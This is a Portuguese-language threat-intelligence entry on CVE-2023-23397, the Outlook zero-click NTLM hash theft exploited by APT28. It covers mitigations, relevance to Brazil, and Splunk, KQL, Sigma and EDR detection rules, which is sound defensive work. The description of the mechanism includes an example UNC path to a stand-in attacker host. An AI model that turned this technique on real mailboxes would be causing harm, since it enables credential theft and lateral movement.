# CVE-2023-23397 - Microsoft Outlook NTLM Hash Theft (Zero-Click) Vulnerabilidade crítica zero-click no [[Microsoft Outlook]] para Windows que permite roubo de credenciais NTLM sem qualquer interação do usuário. Explorada ativamente pelo [[g0007-apt28|APT28]] (Fancy Bear) em operações de espionagem antes mesmo da divulgação pública, tornando-se uma das CVEs mais significativas de 2023. ## Descrição Técnica A falha explora o suporte do Outlook a arquivos de som de lembrete personalizados (propriedade `PidLidReminderFileParameter`). Quando um email ou convite de calendário malicioso é recebido, o Outlook tenta acessar automaticamente o caminho UNC específicado para o arquivo de som - sem que o usuário abra ou interaja com a mensagem. O processo: 1. Atacante envia email/convite com caminho UNC malicioso: `\\atacante.com\share\arquivo.wav` 2. Ao receber (não abrir), o Outlook faz autenticação NTLM automática contra o servidor do atacante 3. Atacante captura o hash NTLMv2 do usuário 4. Hash é utilizado em ataques Pass-the-Hash ou quebrado offline - **Exploração**: Zero-click - ocorre ao receber o email, sem abrir - **Resultado**: Hash NTLMv2 da vítima - **Pós-exploração**: Movimento lateral, acesso a sistemas corporativos ## Visão Geral {Conteúdo a ser adicionado.} ## Attack Flow ```mermaid graph TB A["📡 Preparação<br/>APT28 configura servidor SMB<br/>controlado para captura NTLM"] --> B["💥 Envio de Email Malicioso<br/>Convite de calendário com UNC<br/>path em PidLidReminderFileParameter"] B --> C["🔑 Captura Zero-Click<br/>Outlook processa lembrete e<br/>autentica NTLM automaticamente"] C --> D["🔑 Hash NTLMv2 Capturado<br/>Credencial enviada ao servidor<br/>do atacante sem interação"] D --> E["🔗 Pass-the-Hash<br/>Hash reutilizado para acesso<br/>a sistemas corporativos"] E --> F["📤 Movimento Lateral<br/>Acesso a Exchange, SharePoint<br/>e recursos de rede internos"] ``` ## Exploração pelo APT28 O [[g0007-apt28|APT28]] (também conhecido como Fancy Bear, STRONTIUM) explorou esta vulnerabilidade contra alvos na Europa e países membros da OTAN, com início estimado em 2022 - meses antes do patch. Alvos incluíam: - Organizações governamentais - Empresas do setor de defesa - Infraestrutura crítica ligada à Ucrânia A exploração pelo APT28 foi documentada pela Microsoft MSRC e pela CERT-UA (Ucrânia). Esta CVE foi incorporada à campanha [[operation-pawn-storm|Operation Pawn Storm]] e operações subsequentes de [[Targeting Western Logistics 2024-2025]]. ## Mitigação Adicional Mesmo após o patch, organizações devem: - Bloquear tráfego SMB/NetBIOS de saída (portas 445/139) no perímetro - Desabilitar autenticação NTLM onde possível, preferindo Kerberos - Implementar monitoramento para autenticações NTLM anômalas ## Relevância LATAM/Brasil > [!latam] Impacto Regional > O Microsoft Outlook domina os ambientes corporativos brasileiros, sendo a ferramenta de email padrão em práticamente todos os setores. Empresas dos setores **financeiro**, **governo** e **telecomúnicações** foram alertadas pelo CERT.br sobre a necessidade de patching urgente. > > A exploração zero-click torna esta vulnerabilidade especialmente perigosa em ambientes com baixa cultura de patching - cenário comum em organizações públicas brasileiras e empresas de médio porte. Como não requer interação do usuário (o ataque ocorre ao receber o email, sem abri-lo), treinamentos de conscientização sobre phishing são ineficazes contra este vetor. > > O Brasil possui uma das maiores bases instaladas de Microsoft 365 na América Latina, com milhões de caixas de correio Outlook em organizações governamentais, bancos, seguradoras e empresas de energia. A dependência de autenticação NTLM em ambientes Windows corporativos brasileiros - muitos ainda sem migração completa para Kerberos - amplifica significativamente o risco de ataques Pass-the-Hash derivados desta vulnerabilidade. ## Remediação 1. **Aplicar** o patch do Patch Tuesday de março de 2023 imediatamente 2. **Bloquear** saída SMB (TCP 445) no firewall perimetral 3. **Adicionar** usuários ao grupo "Protected Users" no Active Directory 4. **Monitorar** tentativas de autenticação NTLM contra hosts externos 5. **Verificar** logs de Exchange/Outlook para emails com propriedades de lembrete incomuns ## Referências - [Microsoft MSRC Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397) - [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) - [MDSec Technical Analysis](https://www.mdsec.co.uk/2023/03/exploiting-CVE-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/) - [CERT-UA Alert](https://cert.gov.ua/) ## Relações - Explorada por: [[g0007-apt28|APT28]] - Parte de: [[operation-pawn-storm|Operation Pawn Storm]], [[Targeting Western Logistics 2024-2025]] - Técnica: [[t1550-002-pass-the-hash|T1550.002 - Pass the Hash]] - Técnica de acesso inicial: [[t1566-001-spearphishing-attachment|T1566.001 - Spearphishing Attachment]] - Afeta setor: [[government]], [[defense]], [[financial]] - Corrigida no: Patch Tuesday março 2023 --- ## Detecção e Resposta > [!warning] Aviso sobre as regras abaixo > As regras e consultas a seguir são **exemplos e pontos de partida**. Devem ser revisadas, > testadas e adaptadas ao seu ambiente específico antes de serem implantadas em produção. > Falsos positivos e negativos são esperados - tuning contínuo é necessário. Valide sempre > contra sua telemetria antes de ativar alertas. ### Splunk SPL ```spl index=windows (sourcetype=WinEventLog:Security OR sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational) (EventCode=4688 OR EventCode=1) process_name="rundll32.exe" cmdline="*davclnt.dll*DavSetCookie*" | regex cmdline="((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))" | eval ip_extraida=replace(cmdline, ".*DavSetCookie\s+([\d\.]+).*", "\1") | eval isLocal=if((cidrmatch("192.168.0.0/16",ip_extraida) OR cidrmatch("10.0.0.0/8",ip_extraida) OR cidrmatch("172.16.0.0/12",ip_extraida)),"internal","external") | search isLocal="external" | table _time, host, user, process_name, cmdline, ip_extraida ``` Complementar - conexões SMB de saída do OUTLOOK.EXE para hosts externos: ```spl index=windows sourcetype=WinEventLog:Security EventCode=5156 Application_Name="*\\OUTLOOK.EXE" Destination_Port=445 | eval isLocal=if((cidrmatch("192.168.0.0/16",Destination_Address) OR cidrmatch("10.0.0.0/8",Destination_Address) OR cidrmatch("172.16.0.0/12",Destination_Address)),"internal","external") | search isLocal="external" | table _time, host, user, Application_Name, Destination_Address, Destination_Port ``` Fonte de dados requerida: Windows Security Event Log (EventID 4688, 5156, 4648), Sysmon (EventID 1, 3) ### Microsoft Sentinel (KQL) ```kql // Detecta rundll32.exe com davclnt.dll DavSetCookie apontando para IP externo - CVE-2023-23397 union isfuzzy=true ( DeviceProcessEvents | where TimeGenerated > ago(14d) | where FileName =~ "rundll32.exe" | where ProcessCommandLine has_all ("davclnt.dll", "DavSetCookie") | extend IPAddress = extract(@"DavSetCookie\s+([\d\.]+)", 1, ProcessCommandLine) | where isnotempty(IPAddress) | where not(ipv4_is_private(IPAddress)) | project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, IPAddress, InitiatingProcessFileName ), ( SecurityEvent | where TimeGenerated > ago(14d) | where EventID == 4688 | where Process =~ "rundll32.exe" | where CommandLine has_all ("davclnt.dll", "DavSetCookie") | extend IPAddress = extract(@"DavSetCookie\s+([\d\.]+)", 1, CommandLine) | where isnotempty(IPAddress) | where not(ipv4_is_private(IPAddress)) | project TimeGenerated, Computer, Account, Process, CommandLine, IPAddress ) | order by TimeGenerated desc ``` Tabela(s): `DeviceProcessEvents`, `SecurityEvent`, `DeviceNetworkEvents` ### Sigma Rule ```yaml title: Detect CVE-2023-23397 - Outlook NTLM Hash Theft via UNC Path id: 9f4a2c1e-7b83-4e56-a987-cd3456789012 status: experimental description: > Detecta exploração de CVE-2023-23397 - roubo zero-click de hash NTLMv2 via Outlook. O Outlook processa convites de calendário com caminho UNC malicioso na propriedade PidLidReminderFileParameter, triggering autenticação NTLM automática para host externo. Indicador primário: rundll32.exe executando davclnt.dll,DavSetCookie com IP externo. references: - [[t1557-001-llmnrnbt-ns-poisoning-and-smb-relay]] - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397 - https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-CVE-2023-23397/ logsource: category: process_creation product: windows detection: selection: Image|endswith: '\rundll32.exe' CommandLine|contains|all: - 'davclnt.dll' - 'DavSetCookie' filter_internal: CommandLine|re: 'DavSetCookie\s+(192\.168\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.)' condition: selection and not filter_internal falsepositives: - Compartilhamentos WebDAV legítimos acessados via Outlook com IPs internos - Ferramentas de colaboração que usam WebDAV internamente level: high tags: - attack.credential_access - attack.t1557.001 - attack.lateral_movement - attack.t1550.002 - cve.2023-23397 ``` ### EDR #### CrowdStrike Falcon Custom IOA Rule (Behavioral): Não há IOA público específico para CVE-2023-23397 no CrowdStrike. Recomendação: monitorar no Falcon console por `ParentBaseFileName: OUTLOOK.EXE` com descendente `rundll32.exe` e `CommandLine: *DavSetCookie*`. Ativar auditoria de "Outbound NTLM traffic to remote servers" via Group Policy para complementar. Threat Graph Query (Falcon Data Replicator): ``` #event_simpleName=ProcessRollup2 | FileName=rundll32.exe | CommandLine=*davclnt.dll*DavSetCookie* | CommandLine!=*192.168.* | CommandLine!=*10.* | groupBy([aid, FileName, CommandLine, UserName, ComputerName]) ``` #### SentinelOne Deep Visibility Query: ``` TgtProcName = "rundll32.exe" AND TgtProcCmdLine ContainsCIS "davclnt.dll" AND TgtProcCmdLine ContainsCIS "DavSetCookie" ``` Complementar - conexões de saída do Outlook para porta 445: ``` SrcProcName = "OUTLOOK.EXE" AND NetworkPort = 445 AND DstIPv4 NOT In ("192.168.0.0/16", "10.0.0.0/8", "172.16.0.0/12") ``` #### Microsoft Defender for Endpoint (MDE) Advanced Hunting (KQL): ```kql DeviceProcessEvents | where FileName =~ "rundll32.exe" | where ProcessCommandLine has_all ("davclnt.dll", "DavSetCookie") | extend IPAddress = extract(@"DavSetCookie\s+([\d\.]+)", 1, ProcessCommandLine) | where isnotempty(IPAddress) | where not(ipv4_is_private(IPAddress)) | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, IPAddress, InitiatingProcessFileName | order by Timestamp desc ``` ### Firewall / Network #### Palo Alto Networks (PAN-OS) Criar regra de Security Policy bloqueando tráfego SMB (TCP 445) e NetBIOS (TCP 139) de saída para IPs externos a partir de workstations de usuários. Esta é a mitigação mais eficaz para CVE-2023-23397 - impede que o hash NTLMv2 seja transmitido ao servidor do atacante. App-ID / Threat ID relevante: `msrpc-base`, `smb` - bloquear em direção à internet para todas as zonas internas. #### Fortinet FortiGate Criar firewall policy bloqueando tráfego SMB (porta 445) e NetBIOS (porta 139) de saída de workstations para destinos externos. Habilitar IPS com proteção contra "NTLM Relay" e "SMB Authentication Capture". IPS Signature: `MS.Outlook.CVE-2023-23397.NTLM.Hash.Theft` - verificar disponibilidade no FortiGuard Labs. Como alternativa, criar sensor IPS personalizado detectando conexões SMB outbound de processos de email.